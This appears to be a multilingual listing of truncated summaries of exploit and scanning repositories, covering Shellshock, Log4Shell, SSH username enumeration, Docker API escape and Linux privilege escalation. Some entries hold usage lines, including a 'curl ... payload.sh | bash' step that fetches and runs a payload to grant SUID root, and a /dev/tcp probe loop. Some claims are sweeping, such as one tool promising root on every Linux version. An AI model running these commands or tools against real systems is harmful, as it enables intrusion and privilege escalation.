exploit-CVE-2014-6271

Exploit de Shellshock + entorno vulnerable Shellshock, también conocido como Bashdoor, es una familia de errores de seguridad en el ampliamente utilizado shell Bash de Unix, el primero de los cuales fue divulgado el 24 de septiembre de 2014. Muchos servicios expuestos a Internet, como algunas...

CVE-2014-6271-Shellshock

CVE-2014-6271 Shellshock infrar3d によるエクスプロイト このリポジトリには、CVE-2014-6271 Shellshock の概念実証エクスプロイトが含まれています。 Shellshock は GNU Bash における深刻な脆弱性で、特別に細工された環境変数によって任意のコマンド実行 が可能になります。 Web サーバーが Bash を呼び出す CGI スクリプトに HTTP ヘッダーを渡す場合、攻撃者はそのヘッダーを介してコマンドを注入できます。 使用方法: root@kitploit: ./shellshockexp.sh -h...

ssh_Enum_vaild

sshEnumvaild CVE-2018-15473 の脆弱性を利用して有効な SSH ユーザー名を列挙する Bash スクリプトです。認証応答を分析することで、OpenSSH サーバー上の有効なユーザー名をチェックします。 特徴 ✅ OpenSSH の応答動作に基づいて有効な SSH ユーザー名を検出 ✅ 公開鍵認証バイパス手法を使用 ✅ 並列処理による高速化 ✅ 有効なユーザー名を自動的に validusernames.txt に保存 ✅ Bash と OpenSSH クライアントのみが必要な軽量設計 1. 有効なユーザー名のみを表示（出力から無効なものを除去）。 2...

Mass-CVE-2021-3129-Scanner

Escáner masivo para CVE-2021-3129 Laravel Debug RCE Uso root@kitploit: $ bash massCVE-2021-3129scan.sh list.txt...

wpstorecart-exploit

Simple PoC of wpstorecart 2.5.30 以前のプラグインのエクスプロイト CVE-2012-3576 を bash で記述したもの。...

Log4j-Scanner-Exploit

Log4Shell-Scanner-Exploit Log4Shellの脆弱性をリモートで特定または悪用するためのbashスクリプト。 このツールは、LDAPペイロードとX-Api-Version、User-Agent、X-Forwarded-Forヘッダーを使用して様々なテストを実行します。 このスクリプトは、監査対象のサービス/アプリケーションの所有者から事前の許可を得た上で常に使用してください。 依存関係： 1. Githubからプリコンフィグ済みのLDAPサーバーを作成します： https://github.com/mbechler/marshalsec mvn clean...

CVE-2025-9074

説明 Vibe が、インストールされていない可能性のあるツールに依存しない、純粋な Bash で小さなエクスプロイトスクリプトをコーディングしました。このスクリプトは内部の Docker API と通信し、新しいコンテナを作成して起動し、ホストの C ドライブをマウントしてから、その内部でコマンドを実行します。出力はコンソールにストリーミングされます。コンテナは後で削除されます。 使い方 ./exploit.sh "whoami"...

Gombruc

Gombruc escalada de privilegios para linux todas las versiones Esta vulnerabilidad está relacionada con CVE-2025-0401, que afecta a todos los sistemas Linux. Con la ayuda de este script bash, puedes dar a tu usuario cualquier nivel de acceso, hasta e incluyendo acceso Root. Advertencia: Este...

CVE-2024-32019-poc

CVE-2024-32019-poc Netdata ndsudo 漏洞利用验证 PoC 构建二进制文件： root@kitploit: go build -ldflags "-s -w" -o nvme poc.go upx nvme 运行 bash 脚本： root@kitploit: bash exploit.sh 在目标机器上，在可写目录中运行： root@kitploit: curl http://:8000/payload.sh | bash 它会自动下载 nvme 二进制文件，导出路径，运行 ndsudo 并给 /bin/bash 添加 SUID 权限。 你可能需要修改...

Mass-CVE-2025-29306

FoxCMS Mass Exploiter（CVE-2025-29306） セキュリティ研究者が複数のターゲットに対してリモートコマンド実行（RCE）テストを実行するための専用自動化ツール。 🛡️ セキュリティに関する注意 このプログラムは Bash で書かれており、SHC （Shell Script Compiler）で暗号化/コンパイルされています。ソースコードは改ざんや不正な変更を防ぐために保護されています。 📋 必要条件 プログラムを正しく実行するには、システムに以下がインストールされていることを確認してください： curl python3...

shellshocker-android

shellshocker-android 这是一个Android应用，帮助您检测运行bash的机器是否受到CVE-2014-6271漏洞的影响。 Stefano Belli, C Copyleft，根据您认为更好的方式共享、重建、修改、重新分发。 Google+: http://plus.google.com/+StefanoBelli 网站: http://www.inthebit.it 下次更新已准备好，我将尽快上传。...

CVE-2024-48990-PoC

Este simple script de shell debe crear todos los archivos necesarios para que esta vulnerabilidad funcione. Primero crea un archivo temporal generado aleatoriamente que se usará para compilar el archivo falso init.so. Cuando se activa la vulnerabilidad, este archivo se ejecutará y copiará el...

Cgi-bin_bash_Reverse

Cgi-binbashReverse CVE-2014-6271 的 PoC 来源:https://gist.github.com/matjohn2/bc9689c60d4c9c5a2538...

ediop3PHP

ediop3PHP PHP製のCVE-2025-1219スキャナーです。bashで動作し、root権限は不要です。...

httprobe

httprobe Take a list of domains and probe for working http and https servers. Install root@kitploit: ▶ go install github.com/tomnomnom/httprobe@latest Basic Usage httprobe accepts line-delimited domains on stdin: root@kitploit: ▶ cat recon/example/domains.txt example.com example.edu example.net ▶...

sploit-bX

sploit-bX CVE-2017-0781 および CVE-2017-0785 のスプロイトとその使用に必要なものをインストールする Bash スクリプトです。これらのスプロイトは、Bluetooth が脆弱かどうかを確認するために使用します。 リポジトリのダウンロード git clone https://github.com/CarlosDelRosario7/sploit-bX インストール フォルダに移動: cd sploit-bx 実行権限を付与: chmod +x sploit-bXinstall.sh インストーラを実行: ./sploit-bXinstall.sh 使用...

CVE-2025-9074-PoC-Bash

CVE-2025-9074-PoC-Bash 元のPoCは: https://github.com/j3r1ch0123/CVE-2025-9074。これはbashで書かれた新しいPoCです。すべてのDockerコンテナにPythonがインストールされているわけではなく、主にコンテナ内部から実行することを想定しています。 手順 コンテナ内部から、以下を使用して脆弱なDocker APIを見つけます: root@kitploit: for ip in 172.18.0.1 172.17.0.1 192.168.65.7; do echo /dev/tcp/$ip/2375 2/dev/nu...

salt-shellshock

shellshock bash アップデート このレシピは、OSのパッケージからbashをアップグレードしようとし、アップデートが利用できないシステムではbashをコンパイルするフォールバックを行います。 古いUbuntu/Debianで動作確認済みです。 Bashインストールスクリプトの出典: http://askubuntu.com/questions/528101/what-is-the-cve-2014-6271-bash-vulnerability-and-how-do-i-fix-it 使用方法 gitfs salt formulaとして使用できます:...

bash-apocalypse

Bash 末日 针对 CVE-2014-6271 Shellshock 的自动化利用工具包 一个完整的安全研究项目，演示了 2014 年影响数百万台服务器的 Shellshock 漏洞。包含自动化扫描、利用能力和防御建议。 Demo 什么是 Shellshock？ Shellshock CVE-2014-6271 是 Bash shell 中的一个严重漏洞，允许通过环境变量操作实现远程代码执行。该漏洞在存在 22 年后于 2014 年被发现，影响了全球数百万台 Unix/Linux 系统。 工作原理： root@kitploit: Normal: Bash exports functio...

CVE-2014-6271-Shellshock-

利用 Shellshock（CVE-2014-6271）：一个完整、现代化的演示实验室 Shellshock（CVE-2014-6271）是迄今为止最具影响力的远程代码执行漏洞之一。该漏洞影响 Bash，并允许攻击者仅通过向环境变量注入精心构造的有效载荷来执行任意命令。 本指南提供了一个完整、可重现的演示，使用： Kali Linux （攻击者） Metasploitable2 （目标） curl 、Burp Suite 、Netcat 手动创建的基于 Bash 的 CGI 脚本 它专为教学、研究、培训和一般网络安全意识而设计。 📌 目录 1. 实验架构 2. 创建有漏洞的 CGI 脚本...